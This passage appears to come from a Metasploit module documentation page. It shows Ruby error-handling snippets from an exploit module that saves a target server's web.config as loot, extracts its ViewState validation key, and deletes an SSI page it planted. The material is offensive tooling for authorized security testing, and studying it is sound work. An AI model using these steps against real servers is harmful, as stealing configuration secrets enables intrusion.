225:	    end
226:	
227:	    print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")
228:	
229:	    unless (@validation_key = extract_viewstate_validation_key(web_config))

Failed to extract ViewState validation key


Here is a relevant code snippet related to the "Failed to extract ViewState validation key" error message:

225:	    end
226:	
227:	    print_good("Saved web.config to #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")
228:	
229:	    unless (@validation_key = extract_viewstate_validation_key(web_config))
230:	      fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')
231:	    end
232:	
233:	    print_good("ViewState validation key: #{@validation_key}")
234:	  ensure
235:	    delete_ssi_page if @page_created

Target did not respond to <__METHOD__>


Here is a relevant code snippet related to the "Target did not respond to <__METHOD__>" error message:

244:	      'cookie' => cookie,
245:	      'partial' => true
246:	    )
247:	
248:	    unless res
249:	      print_error("Target did not respond to #{__method__}")
250:	      return
251:	    end
252:	
253:	    unless res.code == 204
254:	      print_warning('Failed to delete page')

Failed to delete page


Here is a relevant code snippet related to the "Failed to delete page" error message:

249:	      print_error("Target did not respond to #{__method__}")
250:	      return
251:	    end
252:	
253:	    unless res.code == 204
254:	      print_warning('Failed to delete page')
255:	      return
256:	    end
257:	
258:	    print_good('Successfully deleted page')
259:	  end

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References


See Also


Check also the following modules related to this module:

Related Nessus plugins:

Authors


  • mr_me
  • wvu

Version


This page has been produced using Metasploit Framework version 6.2.4-dev. For more modules, visit the Metasploit Module Library.

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